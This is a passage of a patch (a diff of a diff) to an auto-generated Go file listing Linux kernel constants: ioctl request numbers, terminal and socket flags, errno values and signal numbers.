-- TCSAFLUSH = 0x2
-- TCSBRK = 0x5409
-- TCSBRKP = 0x5425
-- TCSETA = 0x5406
-- TCSETAF = 0x5408
-- TCSETAW = 0x5407
-- TCSETS = 0x5402
-- TCSETS2 = 0x402c542b
-- TCSETSF = 0x5404
-- TCSETSF2 = 0x402c542d
-- TCSETSW = 0x5403
-- TCSETSW2 = 0x402c542c
-- TCSETX = 0x5433
-- TCSETXF = 0x5434
-- TCSETXW = 0x5435
-- TCXONC = 0x540a
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x541d
-- TIOCEXCL = 0x540c
-- TIOCGDEV = 0x80045432
-- TIOCGETD = 0x5424
-- TIOCGEXCL = 0x80045440
-- TIOCGICOUNT = 0x545d
-- TIOCGLCKTRMIOS = 0x5456
-- TIOCGPGRP = 0x540f
-- TIOCGPKT = 0x80045438
-- TIOCGPTLCK = 0x80045439
-- TIOCGPTN = 0x80045430
-- TIOCGRS485 = 0x542e
-- TIOCGSERIAL = 0x541e
-- TIOCGSID = 0x5429
-- TIOCGSOFTCAR = 0x5419
-- TIOCGWINSZ = 0x5413
-- TIOCINQ = 0x541b
-- TIOCLINUX = 0x541c
-- TIOCMBIC = 0x5417
-- TIOCMBIS = 0x5416
-- TIOCMGET = 0x5415
-- TIOCMIWAIT = 0x545c
-- TIOCMSET = 0x5418
-- TIOCM_CAR = 0x40
-- TIOCM_CD = 0x40
-- TIOCM_CTS = 0x20
-- TIOCM_DSR = 0x100
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_RI = 0x80
-- TIOCM_RNG = 0x80
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x10
-- TIOCM_ST = 0x8
-- TIOCNOTTY = 0x5422
-- TIOCNXCL = 0x540d
-- TIOCOUTQ = 0x5411
-- TIOCPKT = 0x5420
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x540e
-- TIOCSERCONFIG = 0x5453
-- TIOCSERGETLSR = 0x5459
-- TIOCSERGETMULTI = 0x545a
-- TIOCSERGSTRUCT = 0x5458
-- TIOCSERGWILD = 0x5454
-- TIOCSERSETMULTI = 0x545b
-- TIOCSERSWILD = 0x5455
-- TIOCSER_TEMT = 0x1
-- TIOCSETD = 0x5423
-- TIOCSIG = 0x40045436
-- TIOCSLCKTRMIOS = 0x5457
-- TIOCSPGRP = 0x5410
-- TIOCSPTLCK = 0x40045431
-- TIOCSRS485 = 0x542f
-- TIOCSSERIAL = 0x541f
-- TIOCSSOFTCAR = 0x541a
-- TIOCSTI = 0x5412
-- TIOCSWINSZ = 0x5414
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x100
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x401054d5
-- TUNDETACHFILTER = 0x401054d6
-- TUNGETFEATURES = 0x800454cf
-- TUNGETFILTER = 0x801054db
-- TUNGETIFF = 0x800454d2
-- TUNGETSNDBUF = 0x800454d3
-- TUNGETVNETBE = 0x800454df
-- TUNGETVNETHDRSZ = 0x800454d7
-- TUNGETVNETLE = 0x800454dd
-- TUNSETDEBUG = 0x400454c9
-- TUNSETGROUP = 0x400454ce
-- TUNSETIFF = 0x400454ca
-- TUNSETIFINDEX = 0x400454da
-- TUNSETLINK = 0x400454cd
-- TUNSETNOCSUM = 0x400454c8
-- TUNSETOFFLOAD = 0x400454d0
-- TUNSETOWNER = 0x400454cc
-- TUNSETPERSIST = 0x400454cb
-- TUNSETQUEUE = 0x400454d9
-- TUNSETSNDBUF = 0x400454d4
-- TUNSETTXFILTER = 0x400454d1
-- TUNSETVNETBE = 0x400454de
-- TUNSETVNETHDRSZ = 0x400454d8
-- TUNSETVNETLE = 0x400454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0xd
-- VEOF = 0x4
-- VEOL = 0xb
-- VEOL2 = 0x10
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x6
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xc
-- VSTART = 0x8
-- VSTOP = 0x9
-- VSUSP = 0xa
-- VSWTC = 0x7
-- VT0 = 0x0
-- VT1 = 0x4000
-- VTDLY = 0x4000
-- VTIME = 0x5
-- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x40
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4
-- XTABS = 0x1800
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x80081270
-+ BLKBSZSET = 0x40081271
-+ BLKFLSBUF = 0x1261
-+ BLKFRAGET = 0x1265
-+ BLKFRASET = 0x1264
-+ BLKGETSIZE = 0x1260
-+ BLKGETSIZE64 = 0x80081272
-+ BLKPBSZGET = 0x127b
-+ BLKRAGET = 0x1263
-+ BLKRASET = 0x1262
-+ BLKROGET = 0x125e
-+ BLKROSET = 0x125d
-+ BLKRRPART = 0x125f
-+ BLKSECTGET = 0x1267
-+ BLKSECTSET = 0x1266
-+ BLKSSZGET = 0x1268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x800
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x1000
-+ FP_XSTATE_MAGIC2 = 0x46505845
-+ FS_IOC_ENABLE_VERITY = 0x40806685
-+ FS_IOC_GETFLAGS = 0x80086601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-+ F_GETLK = 0x5
-+ F_GETLK64 = 0x5
-+ F_GETOWN = 0x9
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x6
-+ F_SETLK64 = 0x6
-+ F_SETLKW = 0x7
-+ F_SETLKW64 = 0x7
-+ F_SETOWN = 0x8
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x8000
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x800
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x7b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_32BIT = 0x40
-+ MAP_ANON = 0x20
-+ MAP_ANONYMOUS = 0x20
-+ MAP_DENYWRITE = 0x800
-+ MAP_EXECUTABLE = 0x1000
-+ MAP_GROWSDOWN = 0x100
-+ MAP_HUGETLB = 0x40000
-+ MAP_LOCKED = 0x2000
-+ MAP_NONBLOCK = 0x10000
-+ MAP_NORESERVE = 0x4000
-+ MAP_POPULATE = 0x8000
-+ MAP_STACK = 0x20000
-+ MAP_SYNC = 0x80000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x40
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0xb703
-+ NS_GET_OWNER_UID = 0xb704
-+ NS_GET_PARENT = 0xb702
-+ NS_GET_USERNS = 0xb701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x400
-+ O_ASYNC = 0x2000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x40
-+ O_DIRECT = 0x4000
-+ O_DIRECTORY = 0x10000
-+ O_DSYNC = 0x1000
-+ O_EXCL = 0x80
-+ O_FSYNC = 0x101000
-+ O_LARGEFILE = 0x0
-+ O_NDELAY = 0x800
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x100
-+ O_NOFOLLOW = 0x20000
-+ O_NONBLOCK = 0x800
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x101000
-+ O_SYNC = 0x101000
-+ O_TMPFILE = 0x410000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x2401
-+ PERF_EVENT_IOC_ENABLE = 0x2400
-+ PERF_EVENT_IOC_ID = 0x80082407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x4008240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-+ PERF_EVENT_IOC_PERIOD = 0x40082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc008240a
-+ PERF_EVENT_IOC_REFRESH = 0x2402
-+ PERF_EVENT_IOC_RESET = 0x2403
-+ PERF_EVENT_IOC_SET_BPF = 0x40042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x40082406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-+ PPPIOCATTACH = 0x4004743d
-+ PPPIOCATTCHAN = 0x40047438
-+ PPPIOCCONNECT = 0x4004743a
-+ PPPIOCDETACH = 0x4004743c
-+ PPPIOCDISCONN = 0x7439
-+ PPPIOCGASYNCMAP = 0x80047458
-+ PPPIOCGCHAN = 0x80047437
-+ PPPIOCGDEBUG = 0x80047441
-+ PPPIOCGFLAGS = 0x8004745a
-+ PPPIOCGIDLE = 0x8010743f
-+ PPPIOCGIDLE32 = 0x8008743f
-+ PPPIOCGIDLE64 = 0x8010743f
-+ PPPIOCGL2TPSTATS = 0x80487436
-+ PPPIOCGMRU = 0x80047453
-+ PPPIOCGRASYNCMAP = 0x80047455
-+ PPPIOCGUNIT = 0x80047456
-+ PPPIOCGXASYNCMAP = 0x80207450
-+ PPPIOCSACTIVE = 0x40107446
-+ PPPIOCSASYNCMAP = 0x40047457
-+ PPPIOCSCOMPRESS = 0x4010744d
-+ PPPIOCSDEBUG = 0x40047440
-+ PPPIOCSFLAGS = 0x40047459
-+ PPPIOCSMAXCID = 0x40047451
-+ PPPIOCSMRRU = 0x4004743b
-+ PPPIOCSMRU = 0x40047452
-+ PPPIOCSNPMODE = 0x4008744b
-+ PPPIOCSPASS = 0x40107447
-+ PPPIOCSRASYNCMAP = 0x40047454
-+ PPPIOCSXASYNCMAP = 0x4020744f
-+ PPPIOCXFERUNIT = 0x744e
-+ PR_SET_PTRACER_ANY = 0xffffffffffffffff
-+ PTRACE_ARCH_PRCTL = 0x1e
-+ PTRACE_GETFPREGS = 0xe
-+ PTRACE_GETFPXREGS = 0x12
-+ PTRACE_GET_THREAD_AREA = 0x19
-+ PTRACE_OLDSETOPTIONS = 0x15
-+ PTRACE_SETFPREGS = 0xf
-+ PTRACE_SETFPXREGS = 0x13
-+ PTRACE_SET_THREAD_AREA = 0x1a
-+ PTRACE_SINGLEBLOCK = 0x21
-+ PTRACE_SYSEMU = 0x1f
-+ PTRACE_SYSEMU_SINGLESTEP = 0x20
-+ RLIMIT_AS = 0x9
-+ RLIMIT_MEMLOCK = 0x8
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x6
-+ RLIMIT_RSS = 0x5
-+ RNDADDENTROPY = 0x40085203
-+ RNDADDTOENTCNT = 0x40045201
-+ RNDCLEARPOOL = 0x5206
-+ RNDGETENTCNT = 0x80045200
-+ RNDGETPOOL = 0x80085202
-+ RNDRESEEDCRNG = 0x5207
-+ RNDZAPENTCNT = 0x5204
-+ RTC_AIE_OFF = 0x7002
-+ RTC_AIE_ON = 0x7001
-+ RTC_ALM_READ = 0x80247008
-+ RTC_ALM_SET = 0x40247007
-+ RTC_EPOCH_READ = 0x8008700d
-+ RTC_EPOCH_SET = 0x4008700e
-+ RTC_IRQP_READ = 0x8008700b
-+ RTC_IRQP_SET = 0x4008700c
-+ RTC_PIE_OFF = 0x7006
-+ RTC_PIE_ON = 0x7005
-+ RTC_PLL_GET = 0x80207011
-+ RTC_PLL_SET = 0x40207012
-+ RTC_RD_TIME = 0x80247009
-+ RTC_SET_TIME = 0x4024700a
-+ RTC_UIE_OFF = 0x7004
-+ RTC_UIE_ON = 0x7003
-+ RTC_VL_CLR = 0x7014
-+ RTC_VL_READ = 0x80047013
-+ RTC_WIE_OFF = 0x7010
-+ RTC_WIE_ON = 0x700f
-+ RTC_WKALM_RD = 0x80287010
-+ RTC_WKALM_SET = 0x4028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x800
-+ SIOCATMARK = 0x8905
-+ SIOCGPGRP = 0x8904
-+ SIOCGSTAMPNS_NEW = 0x80108907
-+ SIOCGSTAMP_NEW = 0x80108906
-+ SIOCINQ = 0x541b
-+ SIOCOUTQ = 0x5411
-+ SIOCSPGRP = 0x8902
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x2
-+ SOCK_NONBLOCK = 0x800
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0x1
-+ SO_ACCEPTCONN = 0x1e
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x6
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x27
-+ SO_DONTROUTE = 0x5
-+ SO_ERROR = 0x4
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x9
-+ SO_LINGER = 0xd
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0xa
-+ SO_PASSCRED = 0x10
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x11
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1f
-+ SO_PROTOCOL = 0x26
-+ SO_RCVBUF = 0x8
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x12
-+ SO_RCVTIMEO = 0x14
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x14
-+ SO_REUSEADDR = 0x2
-+ SO_REUSEPORT = 0xf
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x7
-+ SO_SNDBUFFORCE = 0x20
-+ SO_SNDLOWAT = 0x13
-+ SO_SNDTIMEO = 0x15
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x15
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x3
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x540b
-+ TCGETA = 0x5405
-+ TCGETS = 0x5401
-+ TCGETS2 = 0x802c542a
-+ TCGETX = 0x5432
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x5409
-+ TCSBRKP = 0x5425
-+ TCSETA = 0x5406
-+ TCSETAF = 0x5408
-+ TCSETAW = 0x5407
-+ TCSETS = 0x5402
-+ TCSETS2 = 0x402c542b
-+ TCSETSF = 0x5404
-+ TCSETSF2 = 0x402c542d
-+ TCSETSW = 0x5403
-+ TCSETSW2 = 0x402c542c
-+ TCSETX = 0x5433
-+ TCSETXF = 0x5434
-+ TCSETXW = 0x5435
-+ TCXONC = 0x540a
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x541d
-+ TIOCEXCL = 0x540c
-+ TIOCGDEV = 0x80045432
-+ TIOCGETD = 0x5424
-+ TIOCGEXCL = 0x80045440
-+ TIOCGICOUNT = 0x545d
-+ TIOCGISO7816 = 0x80285442
-+ TIOCGLCKTRMIOS = 0x5456
-+ TIOCGPGRP = 0x540f
-+ TIOCGPKT = 0x80045438
-+ TIOCGPTLCK = 0x80045439
-+ TIOCGPTN = 0x80045430
-+ TIOCGPTPEER = 0x5441
-+ TIOCGRS485 = 0x542e
-+ TIOCGSERIAL = 0x541e
-+ TIOCGSID = 0x5429
-+ TIOCGSOFTCAR = 0x5419
-+ TIOCGWINSZ = 0x5413
-+ TIOCINQ = 0x541b
-+ TIOCLINUX = 0x541c
-+ TIOCMBIC = 0x5417
-+ TIOCMBIS = 0x5416
-+ TIOCMGET = 0x5415
-+ TIOCMIWAIT = 0x545c
-+ TIOCMSET = 0x5418
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x5422
-+ TIOCNXCL = 0x540d
-+ TIOCOUTQ = 0x5411
-+ TIOCPKT = 0x5420
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x540e
-+ TIOCSERCONFIG = 0x5453
-+ TIOCSERGETLSR = 0x5459
-+ TIOCSERGETMULTI = 0x545a
-+ TIOCSERGSTRUCT = 0x5458
-+ TIOCSERGWILD = 0x5454
-+ TIOCSERSETMULTI = 0x545b
-+ TIOCSERSWILD = 0x5455
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x5423
-+ TIOCSIG = 0x40045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x5457
-+ TIOCSPGRP = 0x5410
-+ TIOCSPTLCK = 0x40045431
-+ TIOCSRS485 = 0x542f
-+ TIOCSSERIAL = 0x541f
-+ TIOCSSOFTCAR = 0x541a
-+ TIOCSTI = 0x5412
-+ TIOCSWINSZ = 0x5414
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x100
-+ TUNATTACHFILTER = 0x401054d5
-+ TUNDETACHFILTER = 0x401054d6
-+ TUNGETDEVNETNS = 0x54e3
-+ TUNGETFEATURES = 0x800454cf
-+ TUNGETFILTER = 0x801054db
-+ TUNGETIFF = 0x800454d2
-+ TUNGETSNDBUF = 0x800454d3
-+ TUNGETVNETBE = 0x800454df
-+ TUNGETVNETHDRSZ = 0x800454d7
-+ TUNGETVNETLE = 0x800454dd
-+ TUNSETCARRIER = 0x400454e2
-+ TUNSETDEBUG = 0x400454c9
-+ TUNSETFILTEREBPF = 0x800454e1
-+ TUNSETGROUP = 0x400454ce
-+ TUNSETIFF = 0x400454ca
-+ TUNSETIFINDEX = 0x400454da
-+ TUNSETLINK = 0x400454cd
-+ TUNSETNOCSUM = 0x400454c8
-+ TUNSETOFFLOAD = 0x400454d0
-+ TUNSETOWNER = 0x400454cc
-+ TUNSETPERSIST = 0x400454cb
-+ TUNSETQUEUE = 0x400454d9
-+ TUNSETSNDBUF = 0x400454d4
-+ TUNSETSTEERINGEBPF = 0x800454e0
-+ TUNSETTXFILTER = 0x400454d1
-+ TUNSETVNETBE = 0x400454de
-+ TUNSETVNETHDRSZ = 0x400454d8
-+ TUNSETVNETLE = 0x400454dc
-+ UBI_IOCATT = 0x40186f40
-+ UBI_IOCDET = 0x40046f41
-+ UBI_IOCEBCH = 0x40044f02
-+ UBI_IOCEBER = 0x40044f01
-+ UBI_IOCEBISMAP = 0x80044f05
-+ UBI_IOCEBMAP = 0x40084f03
-+ UBI_IOCEBUNMAP = 0x40044f04
-+ UBI_IOCMKVOL = 0x40986f00
-+ UBI_IOCRMVOL = 0x40046f01
-+ UBI_IOCRNVOL = 0x51106f03
-+ UBI_IOCRPEB = 0x40046f04
-+ UBI_IOCRSVOL = 0x400c6f02
-+ UBI_IOCSETVOLPROP = 0x40104f06
-+ UBI_IOCSPEB = 0x40046f05
-+ UBI_IOCVOLCRBLK = 0x40804f07
-+ UBI_IOCVOLRMBLK = 0x4f08
-+ UBI_IOCVOLUP = 0x40084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x4
-+ VEOL = 0xb
-+ VEOL2 = 0x10
-+ VMIN = 0x6
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x80045702
-+ WDIOC_GETPRETIMEOUT = 0x80045709
-+ WDIOC_GETSTATUS = 0x80045701
-+ WDIOC_GETSUPPORT = 0x80285700
-+ WDIOC_GETTEMP = 0x80045703
-+ WDIOC_GETTIMELEFT = 0x8004570a
-+ WDIOC_GETTIMEOUT = 0x80045707
-+ WDIOC_KEEPALIVE = 0x80045705
-+ WDIOC_SETOPTIONS = 0x80045704
-+ WORDSIZE = 0x40
-+ XCASE = 0x4
-+ XTABS = 0x1800
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x62)
- EADDRNOTAVAIL = syscall.Errno(0x63)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x61)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x72)
- EBADE = syscall.Errno(0x34)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x4d)
- EBADMSG = syscall.Errno(0x4a)
- EBADR = syscall.Errno(0x35)
- EBADRQC = syscall.Errno(0x38)
- EBADSLT = syscall.Errno(0x39)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x7d)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x2c)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x67)
-@@ -1882,23 +500,15 @@ const (
- EDEADLK = syscall.Errno(0x23)
- EDEADLOCK = syscall.Errno(0x23)
- EDESTADDRREQ = syscall.Errno(0x59)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x7a)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x70)
- EHOSTUNREACH = syscall.Errno(0x71)
- EHWPOISON = syscall.Errno(0x85)
- EIDRM = syscall.Errno(0x2b)
- EILSEQ = syscall.Errno(0x54)
- EINPROGRESS = syscall.Errno(0x73)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x6a)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x78)
- EKEYEXPIRED = syscall.Errno(0x7f)
- EKEYREJECTED = syscall.Errno(0x81)
-@@ -1915,8 +525,6 @@ const (
- ELNRNG = syscall.Errno(0x30)
- ELOOP = syscall.Errno(0x28)
- EMEDIUMTYPE = syscall.Errno(0x7c)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x5a)
- EMULTIHOP = syscall.Errno(0x48)
- ENAMETOOLONG = syscall.Errno(0x24)
-@@ -1924,103 +532,70 @@ const (
- ENETDOWN = syscall.Errno(0x64)
- ENETRESET = syscall.Errno(0x66)
- ENETUNREACH = syscall.Errno(0x65)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x37)
- ENOBUFS = syscall.Errno(0x69)
- ENOCSI = syscall.Errno(0x32)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0x7e)
- ENOLCK = syscall.Errno(0x25)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x7b)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x2a)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x5c)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x26)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x6b)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x27)
- ENOTNAM = syscall.Errno(0x76)
- ENOTRECOVERABLE = syscall.Errno(0x83)
- ENOTSOCK = syscall.Errno(0x58)
- ENOTSUP = syscall.Errno(0x5f)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x4c)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x5f)
- EOVERFLOW = syscall.Errno(0x4b)
- EOWNERDEAD = syscall.Errno(0x82)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x60)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x5d)
- EPROTOTYPE = syscall.Errno(0x5b)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x4e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x79)
- ERESTART = syscall.Errno(0x55)
- ERFKILL = syscall.Errno(0x84)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x6c)
- ESOCKTNOSUPPORT = syscall.Errno(0x5e)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x74)
- ESTRPIPE = syscall.Errno(0x56)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x6e)
- ETOOMANYREFS = syscall.Errno(0x6d)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x75)
- EUNATCH = syscall.Errno(0x31)
- EUSERS = syscall.Errno(0x57)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x36)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0x7)
- SIGCHLD = syscall.Signal(0x11)
- SIGCLD = syscall.Signal(0x11)
- SIGCONT = syscall.Signal(0x12)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
